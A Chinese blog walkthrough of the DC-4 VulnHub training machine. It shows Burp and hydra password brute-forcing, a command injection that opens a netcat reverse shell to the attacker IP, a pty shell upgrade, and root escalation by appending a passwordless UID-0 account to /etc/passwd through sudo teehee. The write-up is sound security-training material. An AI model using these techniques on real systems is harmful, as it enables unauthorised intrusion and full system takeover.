渗透测试学习之靶机DC-4

1.下载靶机

本篇文章是DC靶机系列的第四篇,针对的是靶机DC-4,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。

DC-4的下载地址为DC: 4 ~ VulnHubhttps://www.vulnhub.com/entry/dc-4,313/下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。

同样地,DC-4只有一个flag。

在VMware加载成功之后显示如下界面:

默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。注意,这里建议把DC-4靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.88.128)。

2.收集靶机信息

由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下

可判断出靶机的ip为192.168.88.129,接着使用nmap对该ip进行扫描,输入命令:nmap -sV -p- 192.168.88.129

开了两个端口88和22,接着浏览器访问80端口,看看有什么发现

很简洁,提示admin登陆。看看还有其他信息。

网站指纹信息很少,没有太大参考价值。使用了前几个靶机博客用到的dirb目录爆破工具也没发现有用信息。

那么就目前能掌握的信息看,只能暴力猜解密码了。暴力破解密码的方式有很多,我采用的是burpsuit工具,功能强大,这篇用它的抓包和暴力猜解密码。

2.1首先是抓包

随便输入账号密码,进行抓包

这里只爆破password(当然也可以账号密码都爆破,因为本题已经提示是admin了)。选中密码发送

 

到intruder目录下,点击positions,清楚admin,攻击方式看你需求选择,这里是sniper.

接着选择payloads

在这里添加爆破的密码,可以选择load加载密码字典,也可以paste粘贴。密码字典只能平时不断积累,或者去博客或者公众号、群里找找大家的分享。毕竟字典是安全从业人员必备。

添加结束之后,点击start attack

结果如下

可以按照长度排名,寻找返回长度不同的密码,可以看到happy的长度不同,查看返回包,提示成功。

我们使用admin happy在浏览器登陆页面登陆。

3.漏洞测试

点击command,可以看到可以选择任意一个命令执行。这不是疯狂暗示吗,我们进行抓包

 

可以看到,运行list files,其实是向后台发送ls+-l指令,那么这里是不是在暗示我们可以吧命令改成我们想运行的命令呢,比如反弹shell?

首先我们在kali攻击机上开启监听

接着将ls+-l改成nc -e /bin/sh 192.168.88.128 7777,点击forward放行。至于反弹shell,有很多的方法以及解析,我准备过段时间好好总结,感兴趣的同学可以网上搜搜。

可以看到kali上已经监听到了,

接着我们输入

python -c 'import pty;pty.spawn("/bin/sh")'

打开一个交互界面。

打开home,然后发现了三个用户。

发现charles和sam都打不开,只有jim能打开。

mbox无权限访问,backups里存在老密码文件

接着我们将其保存到本地,命令为jim.txt

4.漏洞利用

这个时候80端口的线索基本已经用完了,还剩一个ssh没有利用,而刚刚的密码文件提示我们可以进行ssh密码爆破。

接着使用hydra进行密码爆破。输入命令行

hydra -l jim -P jim.txt 192.168.88.129 ssh

爆破结果如下

可看到jim的远程密码为jibril104

接下来使用该账号密码远程控制登陆

登陆成功(我在输入密码的时候输错了两次············)

尝试打开mbox文件,发现可以打开了,是一封邮件

这是一封邮件,root写给jim的,由此联想到该系统上默认邮件箱里是不是也有邮件呢?就去网上搜了一下linux的邮件目录是/var/spool/mail,抱着试试的态度看一下

果然有,这里发现了mail和spool/mail两个,里面都有邮件而且相同的,为了演示,我们随便打开一个。

由邮件内容,我们得到了charles的密码是^xHhA&hvim0y

5.提权

接下来看看jim账号有没有root权限无密码的权限

只有邮件,那么就只有转换用户,看看charles的了。可以看看charles用户中的文件信息,没发现有用信息,这里就不展示了。

有一个teehee可以使用root无密码权限。

显示teehee -a 可以给已经存在的文件追加信息,不覆盖。这个时候就可以联想到/etc/passwd了。在passwd文件中添加一个拥有root权限的账号。

最开始我输入了teehee -a /etc/passwd显示没有权限

后来输入了sudo teehee -a /etc/passwd 进入,然后添加修改内容

root666::0:0::/bin/bash然后ctrl c 保存。

至于写法可在网络上搜一下。

在查看一下是否写入成功。

 

写入成功,切换root666用户

找到root目录下的flag.txt


版权声明:本文为xdbzdgx原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
THE END
< <上一篇
下一篇>>